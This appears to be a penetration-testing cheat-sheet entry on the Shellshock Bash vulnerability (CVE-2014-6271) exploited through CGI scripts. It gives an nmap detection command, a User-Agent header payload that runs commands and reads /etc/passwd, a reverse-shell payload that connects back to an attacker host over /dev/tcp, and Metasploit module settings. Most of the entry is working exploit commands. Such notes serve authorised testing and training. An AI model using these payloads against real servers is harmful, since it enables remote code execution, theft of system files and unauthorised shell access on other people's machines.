Shellshock (CVE-2014-6271): Bash RCE via CGI

Shellshock exploits a flaw in Bash where injected function definitions inside environment variables also execute trailing commands. When Apache runs CGI scripts a new Bash process starts and this makes HTTP headers a remote code execution vector.

Check for the vulnerability

nmap -sV --script http-shellshock --script-args "http-shellshock.uri=/vuln_file.cgi" <target_ip>

Manual exploitation (Burp or curl)

Intercept a request to any .cgi script and replace the User-Agent header (or any header that gets passed to the shell environment) with:

() { :; }; echo; echo; /bin/bash -c 'cat /etc/passwd'

The () { :; }; is the malformed function definition that tricks vulnerable Bash into executing everything that follows. Swap cat /etc/passwd for a reverse shell payload to get a session:

() { :; }; /bin/bash -i >& /dev/tcp/<attacker_ip>/<port> 0>&1

Automated (Metasploit)

use scanner/http/apache_mod_cgi_bash_env
set RHOSTS <target_ip>
set TARGETURI /cgi-bin/<vuln_file>.cgi
run

Related

• Web server & HTTP enumeration: find CGI scripts to target before testing
• Bind shells and reverse shells: other ways to get a shell back besides the /dev/tcp one-liner
• Metasploit Framework: console basics for the automated module